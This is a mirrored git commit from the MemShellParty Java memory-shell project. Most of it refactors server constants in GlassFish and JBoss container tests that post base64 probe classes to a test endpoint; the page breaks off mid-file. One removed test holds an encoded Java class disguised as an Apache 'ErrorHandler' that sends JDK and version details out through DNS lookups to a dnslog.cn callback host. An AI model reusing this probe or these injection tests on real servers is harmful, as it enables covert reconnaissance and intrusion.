mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用 2. 移除 memshell 模块直接内置在 generator 中 3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
This commit is contained in:
+1
-14
@@ -1,14 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
||||
import com.reajason.javaweb.probe.payload.JdkProbe;
|
||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||
import com.reajason.javaweb.util.ClassDefiner;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -35,15 +33,4 @@ public class DetectionTool {
|
||||
public static String getServerDetection() {
|
||||
return getBase64Class(ServerProbe.class);
|
||||
}
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
System.out.println(getServerDetection());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testBase() {
|
||||
byte[] bytes = Base64.decodeBase64("yv66vgAAADIAeQEAJW9yZy9hcGFjaGUvY29tbW9ucy9EcExrTC9FcnJvckhhbmRsZXIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEG01OTV6Yi5kbnNsb2cuY24IAAcBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwALDAAJAAoKAAQADQEABmdldEpkawEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAPABAKAAIAEQEAAlx8CAATAQAQamF2YS9sYW5nL1N0cmluZwcAFQEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7DAAXABgKABYAGQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAbCgAcAA0BAAhqZGtUeXBlLggAHgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAIAAhCgAcACIBAAh0b1N0cmluZwwAJAAQCgAcACUBAAxqYXZhVmVyc2lvbi4IACcBABFjbGFzc0ZpbGVWZXJzaW9uLggAKQEAE1tMamF2YS9sYW5nL1N0cmluZzsHACsBAAEuCAAtDAAFAAYJAAIALwEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAxAQAMZ2V0QWxsQnlOYW1lAQArKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbmV0L0luZXRBZGRyZXNzOwwAMwA0CgAyADUBAAlqYXZhLmhvbWUIADcBABBqYXZhL2xhbmcvU3lzdGVtBwA5AQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOwA8CgA6AD0BAAxqYXZhL2lvL0ZpbGUHAD8BAA1zZXBhcmF0b3JDaGFyAQABQwwAQQBCCQBAAEMBAAlqYXZhYy5leGUIAEUBAAVqYXZhYwgARwEAA2JpbggASQEACXNlcGFyYXRvcgwASwAGCQBAAEwBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYMAAkATgoAQABPAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFEKAEAAUgEADWdldFBhcmVudEZpbGUBABAoKUxqYXZhL2lvL0ZpbGU7DABUAFUKAEAAVgEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFgKAEAAWQEABmV4aXN0cwEAAygpWgwAWwBcCgBAAF0BAANKREsIAF8BAANKUkUIAGEBAAxqYXZhLnZlcnNpb24IAGMBABBqYXZhL2xhbmcvRG91YmxlBwBlAQASamF2YS5jbGFzcy52ZXJzaW9uCABnCgBmAFIBAAhpbnRWYWx1ZQEAAygpSQwAagBrCgBmAGwBAAd2YWx1ZU9mAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DABuAG8KABYAcAEAAXwIAHIBAAg8Y2xpbml0PgoAAgANAQANQ29uc3RhbnRWYWx1ZQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAQAJAAUABgABAHYAAAACAAgAAwABAAkACgABAHcAAADtAAYACAAAAJsqtwAOKrcAEhIUtgAaTAa9ABZZA7sAHFm3AB0SH7YAIysDMrYAI7YAJlNZBLsAHFm3AB0SKLYAIysEMrYAI7YAJlNZBbsAHFm3AB0SKrYAIysFMrYAI7YAJlNNLE4tvjYEAzYFFQUVBKIAMi0VBTI6BrsAHFm3AB0ZBrYAIxIutgAjsgAwtgAjtgAmuAA2V6cABToHhAUBp//NsQABAHEAjwCSAAwAAQB4AAAAOAAE/wBkAAYHAAIHACwHACwHACwBAQAA/wAtAAcHAAIHACwHACwHACwBAQcAFgABBwAM+gAB+AAFAAIADwAQAAEAdwAAATcABQAKAAAA0gFMKk0AAacAA00SOLgAPk6yAEQQXKAACBJGpwAFEkg6BLsAQFktuwAcWbcAHRJKtgAjsgBNtgAjGQS2ACO2ACa3AFA6BbsAQFm7AEBZLbcAU7YAV7sAHFm3AB0SSrYAI7IATbYAIxkEtgAjtgAmtwBaOgYZBbYAXpoACxkGtgBemQAIEmCnAAUSYjoHEmS4AD46CLsAZlkSaLgAPrcAabYAbbgAcToJuwAcWbcAHRkHtgAjEnO2ACMZCLYAIxJztgAjGQm2ACO2ACZZTacAA0wssAAAAAEAeAAAAFMAC/wAAgcAFvwAAQcAAv8ABAACBwACBwAWAAEHABb8AAAHABb8ABIHABZBBwAW/gBjBwAWBwBABwBABEEHABb/AEQAAwcAAgcAFgcAFgABBwAWAAAIAHQACgABAHcAAAAnAAIAAAAAABGnAA0AuwACWbcAdVexAKf/9QAAAAEAeAAAAAQAAgMJAAA=");
|
||||
ClassDefiner.defineClass(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
@@ -19,9 +18,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -62,20 +60,20 @@ public class GlassFish3ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -20,9 +19,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -68,20 +66,20 @@ public class GlassFish4ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -54,20 +52,20 @@ public class GlassFish501ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class GlassFish510ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class GlassFish6ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -62,20 +60,20 @@ public class GlassFish7ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class Jboss423ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss510ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss610ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss711ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class JbossEap6ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
